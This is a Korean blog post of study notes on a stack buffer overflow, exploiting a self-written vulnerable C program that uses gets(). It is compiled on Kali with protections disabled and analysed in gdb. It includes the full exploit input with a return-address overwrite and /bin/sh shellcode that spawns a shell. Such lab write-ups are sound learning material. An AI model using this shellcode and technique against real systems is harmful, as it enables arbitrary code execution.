Bof(Buffer Overflow)
Android hackers handbook 보다가..쭉~ 길게 쓰니 정리가 잘 안되서 부분부분 나눠서 포스팅을 진행하려고 한다. ㅎㅎ
우선 오늘 정리할 내용은 버퍼오버플로우 일명 BOF에 대해 정리하려고 한다. Android는 ARM 아키텍처를 기반으로 하기 때문에 다음 예시는 ARM 환경에서(본인은 kali에서 진행) BOF를 실습하고자 한다. 우선 내가 보고 있는 Hakers handbook에서는 아래와 같은 예제 코드와 함께 BOF를 설명하고 있다.
void getname() {
struct {
char name[32];
int age;
} info;
info.age = 23;
printf("Please enter your name: ");
gets(info.name);
printf("Hello %s, I guess you are %u years old?!\n", info.name,
info.age);
}
코드를 설명하면, 우선 getname 함수내에 구조체를 가지고 있으며, 그 구조체의 이름은 info로 정의한 것을 확인할 수 있다. 다음 info의 age
값으로 23을 넣어주고 name
을 gets 함수를 사용해 입력 받는다.
컴파일 하기 전에 gcc로 일반적인 컴파일을 진행하게 되면 스택에 보호기법이나 메모리에서 실행할 수 있는 실행권한을 주지 않기 때문에 아래와 같은 옵션을 사용해 컴파일을 진행해야 한다.
-fno-stack-protector: 스택 보호 기법 해제
-mpreferred-stack-boundary=2: 스택 더미 없애기
-z execstack: 스택 메모리에 실행권한 부여
root@kali:~/Desktop/Android_Handbook/ch8# gcc -fno-stack-protector -mpreferred-stack-boundary=2 -z execstack -o sof sof.c
컴파일이 정상적으로 끝났다면, 우선 A를 무식하게 넣어보자. (넣고 보니까 116개의 A를 넣어주었다.)
Please enter your name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA, I guess you are 1094795585 years old?!
[1] 26635 segmentation fault ./sof
뭐가 문제 인걸까? 우선 age를 출력된 값이 문제가 된다. 위에 age의 값은 1094795585
인 것을 확인할 수 잇으며, 해당 값을 16진수로 바꾸면 0x41414141
인것을 확인할 수 있다. +_+ 좋아 그런 이제 gdb를 켜고 분석해보자.
(gdb로 뭘 분석하나 싶거나, 어렵다고 생각하더라도 내가 하는걸 따라하게 되면 분명 나중엔 gdb에 고수가 될것이다! 나도 그렇게 믿고 맨날 검색하면서 사용하는 중..
우선 gdb에 attach 시켜서 실행하면 다음과 같다.
➜ ch8 gdb -q sof
Reading symbols from sof...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disas getname
Dump of assembler code for function getname:
0x0804841b <+0>: push ebp
0x0804841c <+1>: mov ebp,esp
0x0804841e <+3>: sub esp,0x24
0x08048421 <+6>: mov DWORD PTR [ebp-0x4],0x17
0x08048428 <+13>: push 0x80484f0
0x0804842d <+18>: call 0x80482e0 <printf@plt>
0x08048432 <+23>: add esp,0x4
0x08048435 <+26>: lea eax,[ebp-0x24]
0x08048438 <+29>: push eax
0x08048439 <+30>: call 0x80482f0 <gets@plt>
0x0804843e <+35>: add esp,0x4
0x08048441 <+38>: mov eax,DWORD PTR [ebp-0x4]
0x08048444 <+41>: push eax
0x08048445 <+42>: lea eax,[ebp-0x24]
0x08048448 <+45>: push eax
0x08048449 <+46>: push 0x804850c
0x0804844e <+51>: call 0x80482e0 <printf@plt>
0x08048453 <+56>: add esp,0xc
0x08048456 <+59>: nop
0x08048457 <+60>: leave
0x08048458 <+61>: ret
End of assembler dump.
여기서 set disassembly-flavor intel
은 disassembly된 언어를 intel 계열로 보여주게 된다. 다음 getname
을 disassembly하기 위해 disas getname
을 사용하여 어셈블리한 과정이다.
보통 스택 구조는 아래와 같은 구조를 가지게 되며, 위 코드구조를 예로 작성하면 다음과 같다.
Buffer / name[32] | STF [4] | Return Address [4] | … |
우리가 원하는 공격코드를 생각하면 다음과 같이 그릴 수 있다.
Buffer / name[32] | STF [4] | Return Address [4] | nop sleb | shell code |
음..여기서 return address가 nop sleb에 빠지게 되면 쭉~~~~nop을 진행하다가 shell code를 만나게 되면서! 뿅! 하게 되는 것이다!
쉘코드는 전에 간단히 쓴적 있으니 아래와 같은 코드를 사용하도록 하겠다.
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
좋아.. 그럼 이제 분석을 다시 하나하나 진행해 볼까? 우선 overflow가 발생하는 함수는 gets 함수이기 때문에 해당 함수((gdb) b *0x08048439)에 브레이크를 걸어 분석을 run을 한다. run을 하고 레지스트리를 확인하면 다음과 같다.
(gdb) info r
eax 0xbffff5bc -1073744452
ecx 0x804a020 134520864
edx 0xb7fb4870 -1208268688
ebx 0x0 0
esp 0xbffff5b8 0xbffff5b8
ebp 0xbffff5e0 0xbffff5e0
esi 0xb7fb3000 -1208274944
edi 0xb7fb3000 -1208274944
eip 0x8048439 0x8048439 <getname+30>
eflags 0x282 [ SF IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
음.. -_-a 브레이크를 잘못잡았나 일단은 ("A"*32+"B"*4+"C"*4+"D"*20)
로 입력을 진행하고 분석을 해보자.
Please enter your name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDDDDDDDDDDDDDDDDD
Breakpoint 2, 0x0804843e in getname ()
(gdb) x/80wx $esp
0xbffff568: 0xbffff56c 0x41414141 0x41414141 0x41414141
0xbffff578: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff588: 0x41414141 0x42424242 0x43434343 0x44444444
0xbffff598: 0x44444444 0x44444444 0x44444444 0x44444444
0xbffff5a8: 0xbffff600 0x00000000 0x00000000 0x00000000
0xbffff5b8: 0xb7fb3000 0xb7fffc04 0xb7fff000 0x00000000
0xbffff5c8: 0xb7fb3000 0xb7fb3000 0x00000000 0xf789e8c8
오호! 그럼 이제 얼추 구조가 그려진다.
0x41 버퍼 32 | 0x42: EBP 4 | 0x43: ret 4 |
그럼 이제 아래와 같이 코드를 작성해서 입력 값을 넣어주면!
0xbffff604
<— ret를 여기로 해줌 이당시에 다시 확인하니까 위치가 바껴있었음 ㅠ,ㅠ
(gdb) r <<< $(python -c 'print "A"*40+"\x04\xf6\xff\xbf"+"B"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/Desktop/Android_Handbook/ch8/sof <<< $(python -c 'print "A"*40+"\x04\xf6\xff\xbf"+"B"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"')
Breakpoint 1, 0x08048439 in getname ()
(gdb) c
Continuing.
Please enter your name: Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA???BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB1?Ph//shh/bin??PS?ᙰ
̀, I guess you are 1094795585 years old?!
process 29005 is executing new program: /bin/dash
Warning:
Cannot insert breakpoint 1.
Cannot access memory at address 0x8048439
/bin/dash가 실행중이여서 안된다는거 같은데? 쉘코드가 이상한건가 부다! 일단 이거 말고 힙 공부하고 싶어서 시작한거니까 여기까지 하고, ! 다음번엔 힙 정리해야딩
댓글 없음:
댓글 쓰기